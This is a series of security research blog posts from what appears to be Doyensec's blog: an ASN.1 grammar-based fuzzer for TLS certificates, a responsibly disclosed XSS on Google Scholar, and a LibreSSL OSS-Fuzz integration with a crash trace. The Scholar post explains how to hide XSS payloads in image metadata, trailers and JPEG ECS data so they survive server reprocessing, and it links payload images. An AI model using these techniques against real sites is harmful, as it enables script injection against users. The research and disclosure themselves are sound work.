<p>This project was crafted with love in the <a href="https://doyensec.com/research.html">Doyensec Research Island</a>.</p>
Fuzzing TLS certificates from their ASN.1 grammar2020-05-14T00:00:00+02:00https://blog.doyensec.com/2020/05/14/asn1fuzz<p>A good part of my research time at Doyensec was devoted to building a flexible ASN.1 grammar-based fuzzer for testing TLS certificate parsers.
I learned a lot in the process, but I often struggled to find good resources on these topics. In this blogpost I want to give a high-level overview of the problem, the approach I’m taking, and some pointers which might hopefully save a little time for other fellow security researchers.</p>
<p>Let’s start with some basics.</p>
<h2 id="what-is-a-tls-certificate">What is a TLS certificate?</h2>
<p><em>A TLS certificate is a DER-encoded object conforming to the ASN.1 grammar and constraints defined in <a href="https://tools.ietf.org/html/rfc5280">RFC 5280</a>, which is based on the ITU X.509 standard.</em></p>
<p>That’s a lot of information to unpack, let’s take it one piece at a time.</p>
<h3 id="asn1">ASN.1</h3>
<p><strong>ASN.1</strong> (<em>Abstract Syntax Notation One</em>) is a grammar used to define abstract objects. You can think of it as a much older and more complicated version of Protocol Buffers. ASN.1 however does not define an encoding, which is left to other standards. This language was designed by ITU and it is extremely powerful and general purpose.</p>
<p>This is how a message in a chat protocol might be defined:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Message ::= SEQUENCE {
senderId INTEGER,
recipientId INTEGER,
message UTF8String,
sendTime GeneralizedTime,
...
}
</code></pre></div></div>
<p>At this first sight, ASN.1 might even seem quite simple and intuitive. But don’t be fooled! ASN.1 contains a lot of vestigial and complex features. For a start, it has ~13 string types. Constraints can be placed on fields, for instance, integers and the string sizes can be restricted to an acceptable range.</p>
<p>The real complexity beasts however are <em>information objects</em>, <em>parametrization</em> and <em>tabular constraints</em>.
Information objects allows the definition of templates for data types and a grammar to declare instances of that template (oh yeah…defining a grammar within a grammar!).</p>
<p>This is how a template for different message types could be defined:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-- Definition of the MESSAGE-CLASS information object class
MESSAGE-CLASS ::= CLASS {
messageTypeId INTEGER UNIQUE
&payload [1] OPTIONAL,
...
}
WITH SYNTAX {
MESSAGE-TYPE-ID &messageTypeId
[PAYLOAD &payload]
}
-- Definition of some message types
TextMessageKinds MESSAGE-CLASS ::= {
-- Text message
{MESSAGE-TYPE-ID 0, PAYLOAD UTF8String}
-- Read ACK (no payload)
| {MESSAGE-TYPE-ID 1, PAYLOAD Sequence { ToMessageId INTEGER } }
}
MediaMessageKinds MESSAGE-CLASS ::= {
-- JPEG
{MESSAGE-TYPE-ID 2, PAYLOAD OctetString}
}
</code></pre></div></div>
<p>Parametrization allows the introduction of parameters in the specification of a type:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Message {MESSAGE-CLASS : MessageClass} ::= SEQUENCE {
messageId INTEGER,
senderId INTEGER,
recipientId INTEGER,
sendTime GeneralizedTime,
messageTypeId MESSAGE-CLASS.&messageTypeId ({MessageClass}),
payload MESSAGE-CLASS.&payload ({MessageClass} {@messageTypeId})
}
</code></pre></div></div>
<p>While a complete overview of the format is not within the scope of this post, a very good entry-level, but quite comprehensive, resource I found is this <a href="https://www.zytrax.com/tech/survival/asn1.html">ASN1 Survival guide</a>. The nitty-gritty details can be found in the ITU standards X.680 to X.683.</p>
<p>Powerful as it may be, ASN.1 suffers from a large practical problem - it lacks a wide choice of compilers (parser generators), especially non-commercial ones. Most of them do not implement advanced features like information objects.
This means that more often than not, data structures defined using ASN.1 are serialized and unserialized by handcrafted code instead of an autogenerated parser. This is also true for many libraries handling TLS certificates.</p>
<h3 id="der">DER</h3>
<p>DER (<em>Distinguished Encoding Rules</em>) is an encoding used to translate an ASN.1 object into bytes. It is a simple Tag-Length-Value format: each element is encoded by appending its type (tag), the length of the payload, and the payload itself. Its rules ensure there is only one valid representation for any given object, a useful property when dealing with digital certificates that must be signed and checked for anomalies.</p>
<p>The details of how DER works are not relevant to this post. A good place to start is <a href="http://luca.ntop.org/Teaching/Appunti/asn1.html">here</a>.</p>
<h3 id="rfc-5280-and-x509">RFC 5280 and X.509</h3>
<p>The format of the digital certificates used in TLS is defined in some RFCs, most importantly <a href="https://tools.ietf.org/html/rfc5280">RFC 5280</a> (and then in <a href="https://tools.ietf.org/html/rfc5912">RFC 5912</a>, updated for ASN.1 2002). The specification is based on the ITU X.509 standard.</p>
<p>This is what the outermost layer of a TLS certificate contains:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Certificate ::= SEQUENCE {
tbsCertificate TBSCertificate,
signatureAlgorithm AlgorithmIdentifier,
signature BIT STRING
}
TBSCertificate ::= SEQUENCE {
version [0] Version DEFAULT v1,
serialNumber CertificateSerialNumber,
signature AlgorithmIdentifier,
issuer Name,
validity Validity,
subject Name,
subjectPublicKeyInfo SubjectPublicKeyInfo,
issuerUniqueID [1] IMPLICIT UniqueIdentifier OPTIONAL,
-- If present, version MUST be v2 or v3
subjectUniqueID [2] IMPLICIT UniqueIdentifier OPTIONAL,
-- If present, version MUST be v2 or v3
extensions [3] Extensions OPTIONAL
-- If present, version MUST be v3 --
}
</code></pre></div></div>
<p>You may recognize some of these fields from inspecting a certificate using a browser integrated viewer.</p>
<div style="text-align: center;">
<img src="../../../public/images/browsercert.png" title="Doyensec X509 certificate" alt="Doyensec X509 certificate" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>Finding out what exactly should go inside a TLS certificate and how it should be interpreted was not an easy task - specifications were scattered inside a lot of RFCs and other standards, sometimes with partial or even conflicting information. Some <a href="http://www.cs.auckland.ac.nz/~pgut001/pubs/x509guide.txt">documents from the recent past</a> offer a good insight into the number of contradictory interpretations.
Nowadays there seems to be more convergence, and a good place to start when looking for how a TLS certificate should be handled is the RFCs together with a couple of widely used TLS libraries.</p>
<h2 id="fuzzing-tls-starting-from-asn1">Fuzzing TLS starting from ASN.1</h2>
<h3 id="previous-work">Previous work</h3>
<p>All the high profile TLS libraries include some fuzzing harnesses directly in their source tree and most are even continuously fuzzed (like LibreSSL which is <a href="https://blog.doyensec.com/2020/04/08/libressl-fuzzer.html">now included in oss-fuzz</a> thanks to my colleague Andrea). Most libraries use tried-and-tested fuzzers like AFL or libFuzzer, which are not encoding or syntax aware. This very likely means that many cycles are wasted generating and testing inputs which are rejected early by the parsers.</p>
<p>X.509 parsers have been fuzzed using many approaches. <a href="http://www.cs.columbia.edu/~suman/docs/frankencert.pdf">Frankencert</a>, for instance, generates certificates by combining parts from existing ones, while <a href="https://github.com/franziskuskiefer/CertificateFuzzer">CertificateFuzzer</a> uses a hand-coded grammar. Some fuzzing efforts are more targeted towards discovering memory-corruption types of bugs, while others are more geared towards discovering logic bugs, often comparing the behavior of multiple parsers side by side to detect inconsistencies.</p>
<h3 id="asn1fuzz">ASN1Fuzz</h3>
<p>I wanted a tool capable of generating valid inputs from an ASN.1 grammar, so that I can slightly break them and hopefully find some vulnerabilities.
I couldn’t find any tool accepting ASN.1 grammars, so I decided to build one myself.</p>
<p>After a lot of experimentation and three full rewrites, I have a pipeline that generates valid X509 certificates which looks like this</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> +-------+
| ASN.1 |
+---+---+
|
pycrate
|
+-------v--------+ +--------------+
| Python classes | | User Hooks |
+-------+--------+ +-------+------+
| |
+-----------+-------------+
|
Generator
|
|
+---v---+
| |
| AST |
| |
+---+---+
|
Encoder
|
+-----v------+
| |
| Output |
| |
+------------+
</code></pre></div></div>
<p>First, I compile the ASN.1 grammar using <a href="https://github.com/P1sec/pycrate/">pycrate</a>, one of the few FOSS compilers that support most of the advanced features of ASN.1.</p>
<p>The output of the compiler is fed into the <code class="language-plaintext highlighter-rouge">Generator</code>. With a lot of introspection inside the pycrate classes, this component generates random ASTs conforming to the input grammar.
The ASTs can be fed to an encoder (e.g. DER) to create a binary output suitable for being tested with the target application.</p>
<p>Certificates produced like this would not be valid, because many constraints are not encoded in the syntax. Moreover, I wanted to give the user total freedom to manipulate the generator behavior.
To solve this problem I developed a handy hooking system which allows overrides at any point in the generator:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pycrate_asn1dir.X509_2016</span> <span class="kn">import</span> <span class="n">AuthenticationFramework</span>
<span class="kn">from</span> <span class="nn">generator</span> <span class="kn">import</span> <span class="n">Generator</span>
<span class="n">spec</span> <span class="o">=</span> <span class="n">AuthenticationFramework</span><span class="p">.</span><span class="n">Certificate</span>
<span class="n">cert_generator</span> <span class="o">=</span> <span class="n">Generator</span><span class="p">(</span><span class="n">spec</span><span class="p">)</span>
<span class="o">@</span><span class="n">cert_generator</span><span class="p">.</span><span class="n">value_hook</span><span class="p">(</span><span class="s">"Certificate/toBeSigned/validity/notBefore/.*"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">generate_notBefore</span><span class="p">(</span><span class="n">generator</span><span class="p">:</span> <span class="n">Generator</span><span class="p">,</span> <span class="n">node</span><span class="p">):</span>
<span class="n">now</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">())</span>
<span class="n">start</span> <span class="o">=</span> <span class="n">now</span> <span class="o">-</span> <span class="mi">10</span> <span class="o">*</span> <span class="mi">365</span> <span class="o">*</span> <span class="mi">24</span> <span class="o">*</span> <span class="mi">60</span> <span class="o">*</span> <span class="mi">60</span> <span class="c1"># 10 years ago
</span> <span class="k">return</span> <span class="n">random</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="n">now</span><span class="p">)</span>
<span class="o">@</span><span class="n">cert_generator</span><span class="p">.</span><span class="n">node_hook</span><span class="p">(</span><span class="s">"Certificate/toBeSigned/extensions/_item_[^/]*/"</span> \
<span class="s">"extnValue/ExtnType/_cont_ExtnType/keyIdentifier"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">force_akid_generation</span><span class="p">(</span><span class="n">generator</span><span class="p">:</span> <span class="n">Generator</span><span class="p">,</span> <span class="n">node</span><span class="p">):</span>
<span class="c1"># keyIdentifier should be present unless the certificate is self-signed
</span> <span class="k">return</span> <span class="n">generator</span><span class="p">.</span><span class="n">generate_node</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">ignore_hooks</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="o">@</span><span class="n">cert_generator</span><span class="p">.</span><span class="n">value_hook</span><span class="p">(</span><span class="s">"Certificate/signature"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">generate_signature</span><span class="p">(</span><span class="n">generator</span><span class="p">:</span> <span class="n">Generator</span><span class="p">,</span> <span class="n">node</span><span class="p">):</span>
<span class="c1"># (... compute signature ...)
</span> <span class="k">return</span> <span class="p">(</span><span class="n">sig</span><span class="p">,</span> <span class="n">siglen</span><span class="p">)</span>
</code></pre></div></div>
<p>The AST generated by this pipeline can be already used for differential testing. For instance, if a library accepts the certificate while others don’t, there may be a problem that requires manual investigation.</p>
<p>In addition, the ASTs can be mutated using a <a href="https://github.com/AFLplusplus/AFLplusplus/blob/master/docs/custom_mutators.md">custom mutator for AFL++</a> which performs random operations on the tree.</p>
<p>ASN1Fuzz is currently research-quality code, but I do aim at open sourcing it at some point in the future. Since the generation starts from ASN.1 grammars, the tool is not limited to generating TLS certificates, and it could be leveraged in fuzzing a <a href="https://www.itu.int/en/ITU-T/asn1/Pages/Application-fields-of-ASN-1.aspx">plethora of other protocols</a>.</p>
<p>Stay tuned for the next blog post where I will present the results from this research!</p>
Researching Polymorphic Images for XSS on Google Scholar2020-04-30T00:00:00+02:00https://blog.doyensec.com/2020/04/30/polymorphic-images-for-xss<p>A few months ago I came across a curious design pattern on <a href="https://scholar.google.com/">Google Scholar</a>. Multiple screens of the web application were fetched and rendered using a combination of <code class="language-plaintext highlighter-rouge">location.hash</code> parameters and XHR to retrieve the supposed templating snippets from a relative URI, rendering them on the page unescaped.</p>
<div style="text-align: center;">
<img src="../../../public/images/scholar-issue.png" title="Google Scholar's design pattern" alt="Google Scholar's design pattern" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>This is not dangerous per se, unless the platform lets users upload arbitrary content and serve it from the same origin, which unfortunately Google Scholar does, given its image upload functionality.</p>
<p>While any penetration tester worth her salt would deem the exploitation of the issue trivial, Scholar’s image processing backend was applying different transformations to the uploaded images (i.e. stripping metadata and reprocessing the picture). When reporting the vulnerability, Google’s VRP team did not consider the upload of a polymorphic image carrying a valid XSS payload possible, and instead requested a PoC||GTFO.</p>
<p>Given the age of this technique, I first went through all past “well-known” techniques to generate polymorphic pictures, and then developed a test suite to investigate the behavior of some of the most popular libraries for image processing (i.e. Imagemagick, GraphicsMagick, Libvips). This effort led to the discovery of some interesting caveats. Some of these methods can also be used to conceal web shells or Javascript content to <a href="https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs">bypass “self” CSP directives</a>.</p>
<h3 id="payload-in-exif">Payload in EXIF</h3>
<p>The easiest approach is to embed our payload in the metadata of the image. In the case of JPEG/JFIF, these pieces of metadata are stored in application-specific markers (called <code class="language-plaintext highlighter-rouge">APPX</code>), but they are not taken into account by the majority of image libraries. <a href="https://exiftool.org/">Exiftool</a> is a popular tool to edit those entries, but you may find that in some cases the characters will get entity-escaped, so I resorted to inserting them manually.
In the hope of Google’s Scholar preserving some whitelisted EXIFs, I created an image having 1.2k common EXIF tags, including <a href="http://www.cipa.jp/std/std-sec_e.html">CIPA</a> standard and non-standard tags.</p>
<div style="text-align: center;">
<img src="../../../public/images/payload_in_all_known_metadata.jpg" title="JPG having the plain XSS alert() payload in every common metadata field" alt="JPG having the plain XSS alert() payload in every common metadata field" align="center" style="padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;" />
<img src="../../../public/images/payload_in_all_known_metadata.png" title="PNG having the plain XSS alert() payload in every common metadata field" alt="PNG having the plain XSS alert() payload in every common metadata field" align="center" style="padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;" />
</div>
<p>While that didn’t work in my case, some of the EXIF entries are to this day kept in many popular web platforms. In most of the image libraries tested, PNG metadata is always kept when converting from PNG to PNG, while they are always lost from PNG to JPG.</p>
<h3 id="payload-concatenated-at-the-end-of-the-image-after-0xffd9-for-jpgs-or-iend-for-pngs">Payload concatenated at the end of the image (after 0xFFD9 for JPGs or IEND for PNGs)</h3>
<p>This technique will only work if no transformations are performed on the uploaded image, since only the image content is processed.</p>
<div style="text-align: center;">
<img src="../../../public/images/payload_in_trailer.jpg" title="JPG having the plain XSS alert() payload after the trailing 0xFFD9 chunk" alt="JPG having the plain XSS alert() payload after the trailing 0xFFD9 chunk" align="center" style="width: 250px; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;" />
<img src="../../../public/images/payload_in_trailer.png" title="PNG having the plain XSS alert() payload after the trailing IEND chunk" alt="PNG having the plain XSS alert() payload after the trailing IEND chunk" align="center" style="width: 250px; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;" />
</div>
<p>As the name suggests, the trick involves appending the JavaScript payload at the end of the image format.</p>
<h3 id="payload-in-pngs-idat">Payload in PNG’s iDAT</h3>
<p>In PNGs, the iDAT chunk stores the pixel information. Depending on the transformations applied, you may be able to directly insert your raw payload in the iDAT chunks or you may <a href="https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/">try to bypass</a> the resize and re-sampling operations. Google’s Scholar only generated JPG pictures so I could not leverage this technique.</p>
<h3 id="payload-in-jpgs-ecs">Payload in JPG’s ECS</h3>
<p>In the JFIF standard, the entropy-coded data segment (ECS) contains the output of the raw Huffman-compressed bitstream which represents the Minimum Coded Unit (MCU) that comprises the image data. In theory, it is possible to position our payload in this segment, but there are no guarantees that our payload will survive the transformation applied by the image library on the server. Creating a JPG image resistant to the transformations caused by the library was a process of trial and error.</p>
<p>As a starting point I crafted a “base” image with the same quality factors as the images resulting from the conversion. For this I ended up using <a href="https://github.com/ianare/exif-samples/blob/master/jpg/tests/67-0_length_string.jpg">this image</a> having 0-length-string EXIFs. Even though having the payload positioned at a variable offset from the beginning of the section did not work, I found that when processed by Google Scholar the first bytes of the image’s ECS section were kept if separated by a pattern of <code class="language-plaintext highlighter-rouge">0x00</code> and <code class="language-plaintext highlighter-rouge">0x14</code> bytes.</p>
<div style="text-align: center;">
<img src="../../../public/images/ecs-xss-hex-view.png" title="Hexadecimal view of the JFIF structure, with the payload visible in the ECS section" alt="Hexadecimal view of the JFIF structure, with the payload visible in the ECS section" align="center" style="padding: 2px; border-radius: 5px; display: inline-block; margin-left: auto; margin-right: auto;" />
</div>
<p>From here it took me a little time to find the right sequence of bytes allowing the payload to survive the transformation, since the majority of user agents were not tolerating low-value bytes in the script tag definition of the page. For anyone interested, we have made available the images embedding the <a href="/public/images/onclick-xss-ecs.jpeg">onclick</a> and <a href="/public/images/mouseover-xss-ecs.jpeg">mouseover</a> events. Our image library test suite is available on Github as <a href="https://github.com/doyensec/StandardizedImageProcessingTest">doyensec/StandardizedImageProcessingTest</a>.</p>
<div style="text-align: center;">
<img src="../../../public/images/scholar-xss-poc-proof.png" title="Exploitation result of the XSS PoC on Scholar" alt="Exploitation result of the XSS PoC on Scholar" align="center" style="padding: 2px; border-radius: 5px; display: inline-block; margin-left: auto; margin-right: auto;" />
</div>
<h2 id="timeline">Timeline</h2>
<ul>
<li><strong>[2019-09-28]</strong> <em>Reported to Google VRP</em></li>
<li><strong>[2019-09-30]</strong> <em>Google’s VRP requested a PoC</em></li>
<li><strong>[2019-10-04]</strong> <em>Provided PoC #1</em></li>
<li><strong>[2019-10-10]</strong> <em>Google’s VRP requested a different payload for PoC</em></li>
<li><strong>[2019-10-11]</strong> <em>Provided PoC #2</em></li>
<li><strong>[2019-11-05]</strong> <em>Google’s VRP confirmed the issue in 2 endpoints, rewarded $6267.40</em></li>
<li><strong>[2019-11-19]</strong> <em>Google’s VRP found another XSS using the same technique, rewarded an additional $3133.70</em></li>
</ul>
LibreSSL and OSS-Fuzz2020-04-08T00:00:00+02:00https://blog.doyensec.com/2020/04/08/libressl-fuzzer<h1 id="the-story-of-a-fuzzing-integration-reward">The story of a fuzzing integration reward</h1>
<p>In my first month at Doyensec I had the opportunity to bring together both my work and my spare time hobbies.
I used the 25% research time offered by Doyensec to integrate the <a href="https://www.libressl.org/">LibreSSL</a> library into <a href="https://opensource.google.com/projects/oss-fuzz">OSS-Fuzz</a>.
LibreSSL is an API compatible replacement for <a href="https://www.openssl.org/">OpenSSL</a>,
and after the <a href="http://heartbleed.com/">heartbleed</a> attack, it is considered as a full-fledged
replacement of OpenSSL on <a href="https://www.openbsd.org">OpenBSD</a>, <a href="https://www.apple.com/macos">macOS</a> and <a href="https://voidlinux.org/">VoidLinux</a>.</p>
<div style="text-align: center;">
<img src="../../../public/images/libressl.jpg" title="OSS-Fuzz Fuzzying Process" alt="OSS-Fuzz Fuzzying Process" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>Contextually to this research, we were <a href="https://www.google.com/about/appsecurity/patch-rewards/">awarded by Google</a> a <strong>$10,000 bounty</strong>,
100% of which was donated to the <a href="https://www.cancerresearch.org/join-the-cause/donate">Cancer Research Institute</a>. The fuzzer also discovered <strong>14+ new vulnerabilities</strong> and four of these were directly related to memory corruption.</p>
<p>In the following paragraphs we will walk through the process of porting a new project over to <a href="https://opensource.google.com/projects/oss-fuzz">OSS-Fuzz</a>
from following the community provided steps all the way to the actual code porting and we will also show a vulnerability fixed in <a href="https://github.com/libressl-portable/openbsd/commit/136e6c997f476cc65e614e514ac3bf6ee54fc4b4"><code class="language-plaintext highlighter-rouge">136e6c997f476cc65e614e514ac3bf6ee54fc4b4</code></a>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>commit 136e6c997f476cc65e614e514ac3bf6ee54fc4b4
Author: beck <>
Date: Sat Mar 23 18:48:15 2019 +0000
Add range checks to varios ASN1_INTEGER functions to ensure the
sizes used remain a positive integer. Should address issue
13799 from oss-fuzz
ok tb@ jsing@
src/lib/libcrypto/asn1/a_int.c | 56 +++++++++++++++++++++++++++++++++++++++++++++++++++++---
src/lib/libcrypto/asn1/tasn_prn.c | 8 ++++++--
src/lib/libcrypto/bn/bn_lib.c | 4 +++-
3 files changed, 62 insertions(+), 6 deletions(-)
</code></pre></div></div>
<h2 id="the-foss-historician-blurry-book">The FOSS historician blurry book</h2>
<p>As a <a href="https://voidlinux.org/">voidlinux maintainer</a>, I’m a long time <a href="https://www.libressl.org/">LibreSSL</a> user and proponent.
<a href="https://www.libressl.org/">LibreSSL</a> is a version of the TLS/crypto stack forked from OpenSSL in 2014 with the goals of modernizing the codebase,
improving security, and applying best practice development procedures. The motivation for this kind of fork arose after the discovery of the <a href="http://heartbleed.com/">Heartbleed</a> vulnerability.</p>
<p><a href="https://www.libressl.org/">LibreSSL</a>’s efforts are aimed at removing code considered useless for the target platforms,
removing code smells and including additional secure defaults at the cost of compatibility.
The <a href="https://www.libressl.org/">LibreSSL</a> codebase is now nearly 70% the size of <a href="https://www.openssl.org/">OpenSSL</a> (237558 cloc vs 335485 cloc),
while implementing a similar API on all the major modern operating systems.</p>
<blockquote>
<p>Forking is considered a Bad Thing not merely because it implies a lot of wasted effort in the future, but because forks tend to be accompanied by a great deal of strife and acrimony between the successor groups over issues of legitimacy, succession, and design direction. There is serious social pressure against forking. As a result, major forks (such as the Gnu-Emacs/XEmacs split, the fissioning of the 386BSD group into three daughter projects, and the short-lived GCC/EGCS split) are rare enough that they are remembered individually in hacker folklore.<br /><br /><em>Eric Raymond</em> <strong>Homesteading the Noosphere</strong></p>
</blockquote>
<p>The <a href="https://www.libressl.org/">LibreSSL</a> effort was generally well received and it now replaces <a href="https://www.openssl.org/">OpenSSL</a> on <a href="https://www.openbsd.org">OpenBSD</a>,
<a href="https://www.apple.com/macos">macOS</a> since 10.11 and on many other Linux distributions.
In the first few years 6 critical vulnerabilities were found in OpenSSL and none of them affected <a href="https://www.libressl.org/">LibreSSL</a>.</p>
<p>Historically, these kinds of forks tend to spawn competing
projects which cannot later exchange code, splitting the potential pool of developers between them.
However, the <a href="https://www.libressl.org/">LibreSSL</a> team has largely demonstrated of being able to merge and implement
new OpenSSL code and bug fixes, all the while slimming down the original source code and cutting down on rarely used or dangerous features.</p>
<h2 id="oss-fuzz-selection">OSS-Fuzz Selection</h2>
<p>While the development of <a href="https://www.libressl.org/">LibreSSL</a> appears to be a story with an happy ending, the integration of fuzzing and security auditing into the project was much less so.
The <a href="http://heartbleed.com/">Heartbleed</a> vulnerability was like a wakeup call to the industry for tackling the security of libraries that
make up the core of the internet. In particular, Google opened up <a href="https://opensource.google.com/projects/oss-fuzz">OSS-Fuzz project</a>.
<a href="https://opensource.google.com/projects/oss-fuzz">OSS-Fuzz</a> is an effort to provide, for free, Google infrastructure to perform <a href="https://en.wikipedia.org/wiki/Fuzzing">fuzzing</a> against
the most popular open source libraries. One of the first projects performing these tests was in fact <a href="https://www.openssl.org/">Openssl</a>.</p>
<div style="text-align: center;">
<img src="../../../public/images/oss-fuzz.png" title="OSS-Fuzz Fuzzying Process" alt="OSS-Fuzz Fuzzying Process" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p><a href="https://en.wikipedia.org/wiki/Fuzzing">Fuzz testing</a> is a well-known technique for uncovering programming errors in software.
Many of these detectable errors, like <a href="https://en.wikipedia.org/wiki/Buffer_overflow">buffer overflows</a>, can have serious security implications.
<a href="https://www.openssl.org/">OpenSSL</a> included fuzzers in <a href="https://github.com/openssl/openssl/commit/c38bb72797916f2a0ab9906aad29162ca8d53546"><code class="language-plaintext highlighter-rouge">c38bb72797916f2a0ab9906aad29162ca8d53546</code></a> and was integrated into <a href="https://opensource.google.com/projects/oss-fuzz">OSS-Fuzz</a> later in 2016.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>commit c38bb72797916f2a0ab9906aad29162ca8d53546
Refs: OpenSSL_1_1_0-pre5-217-gc38bb72797
Author: Ben Laurie <ben@links.org>
AuthorDate: Sat Mar 26 17:19:14 2016 +0000
Commit: Ben Laurie <ben@links.org>
CommitDate: Sat May 7 18:13:54 2016 +0100
Add fuzzing!
</code></pre></div></div>
<p>Since both <a href="https://www.libressl.org/">LibreSSL</a> and <a href="https://www.openssl.org/">OpenSSL</a> share most of their codebase, with <a href="https://www.libressl.org/">LibreSSL</a> mainly implementing a secure subset
of OpenSSL, we thought porting the <a href="https://www.openssl.org/">OpenSSL</a> fuzzers to <a href="https://www.libressl.org/">LibreSSL</a> would have been a fun and useful project.
Moreover, this resulted in the discovery of several memory related corruption bugs.</p>
<p>To be noted, the following details won’t replace the official <a href="https://opensource.google.com/projects/oss-fuzz">OSS-Fuzz</a> guide but will instead help in selecting a good target project for
<a href="https://opensource.google.com/projects/oss-fuzz">OSS-Fuzz</a> integration. Generally speaking applying for a new <a href="https://opensource.google.com/projects/oss-fuzz">OSS-Fuzz</a> integration proceeds in four logical steps:</p>
<ul>
<li><strong>Selection:</strong> Select a new project that isn’t yet ported. Check for existing projects in <a href="https://github.com/google/oss-fuzz/tree/master/projects">OSS-Fuzz projects directory</a>. For example, check if somebody already tried to perform the same integration in a <a href="https://github.com/google/oss-fuzz/pulls">pull-request</a>.</li>
<li><strong>Feasibility:</strong> Check the feasibility and the security implications of that project on the Internet. As a general guideline, the more impact the project has on the everyday usage of the web the bigger the bounty will be. At the time of writing, <a href="https://opensource.google.com/projects/oss-fuzz">OSS-Fuzz</a> bounties are up to $20,000 with the <a href="https://www.google.com/about/appsecurity/patch-rewards/">Google patch-reward program</a>. On the other hand, good coverage is expected to be developed for any integration. For this reason it is easier to integrate projects that already employ fuzzers.</li>
<li><strong>Technical integration:</strong> Follow the super detailed <a href="https://google.github.io/oss-fuzz/getting-started/accepting-new-projects/">getting started guide</a> to perform an initial integration.</li>
<li><strong>Profit:</strong> Apply for the <a href="https://www.google.com/about/appsecurity/patch-rewards/">Google patch-reward program</a>. Profit?!</li>
</ul>
<p>We were awarded a bounty, and we helped to protect the Internet just a little bit more. You should do it too!</p>
<h2 id="heartbreak">Heartbreak</h2>
<p>After a crash was found, <a href="https://opensource.google.com/projects/oss-fuzz">OSS-Fuzz infrastructure</a> provides a minimized test case which can be inspected by an analyst.
The issue was found in the <a href="https://www.itu.int/en/ITU-T/asn1/Pages/introduction.aspx">ASN1 parser</a>. <a href="https://www.itu.int/en/ITU-T/asn1/Pages/introduction.aspx">ASN1</a> is a formal notation used for describing data transmitted by telecommunications protocols, regardless of language implementation and physical representation of these data, whether complex or very simple. Coincidentally, it is employed for <a href="https://www.itu.int/rec/T-REC-X.509">x.509 certificates</a>, which represents the technical base for building <a href="https://en.wikipedia.org/wiki/Public_key_certificate">public-key infrastructure</a>.</p>
<p>Passing our testcase <code class="language-plaintext highlighter-rouge">0202 ff25</code> through <a href="https://manpages.debian.org/stretch/dumpasn1/dumpasn1.1.en.html">dumpasn1</a> it’s possible to see how it errors out saying that the integer of length 2 (bytes) is encoded with a negative value.
This is not allowed in <a href="https://www.itu.int/en/ITU-T/asn1/Pages/introduction.aspx">ASN1</a>, and it should not even be allowed in <a href="https://www.libressl.org/">LibreSSL</a>. However, as discovered by <a href="https://opensource.google.com/projects/oss-fuzz">OSS-Fuzz</a>, this test crashes the <a href="https://www.libressl.org/">Libressl parser</a>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>xxd ./test
xxd ../test
00000000: 0202 ff25 ...%
<span class="nv">$ </span>dumpasn1 ./test
0 2: INTEGER 65317
: Error: Integer is encoded as a negative value.
0 warnings, 1 error.
</code></pre></div></div>
<p>Since the LibreSSL implementation was not guarded against negative integers, trying to covert the ASN1 integer crafted a negative to an internal representation of BIGNUM and causes an uncontrolled over-read.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x00009fff8000 (pc 0x00000058a308 bp 0x7ffd3e8b7bb0 sp 0x7ffd3e8b7b40 T0)
==1==The signal is caused by a READ memory access.
SCARINESS: 20 (wild-addr-read)
#0 0x58a307 in BN_bin2bn libressl/crypto/bn/bn_lib.c:601:19
#1 0x6cd5ac in ASN1_INTEGER_to_BN libressl/crypto/asn1/a_int.c:456:13
#2 0x6a39dd in i2s_ASN1_INTEGER libressl/crypto/x509v3/v3_utl.c:175:16
#3 0x571827 in asn1_print_integer_ctx libressl/crypto/asn1/tasn_prn.c:457:6
#4 0x571827 in asn1_primitive_print libressl/crypto/asn1/tasn_prn.c:556
#5 0x571827 in asn1_item_print_ctx libressl/crypto/asn1/tasn_prn.c:239
#6 0x57069a in ASN1_item_print libressl/crypto/asn1/tasn_prn.c:195:9
#7 0x4f4db0 in FuzzerTestOneInput libressl.fuzzers/asn1.c:282:13
#8 0x7fd3f5 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/libfuzzer/FuzzerLoop.cpp:529:15
#9 0x7bd746 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/libfuzzer/FuzzerDriver.cpp:286:6
#10 0x7c9273 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/libfuzzer/FuzzerDriver.cpp:715:9
#11 0x7bcdbc in main /src/libfuzzer/FuzzerMain.cpp:19:10
#12 0x7fa873b8282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/libc-start.c:291
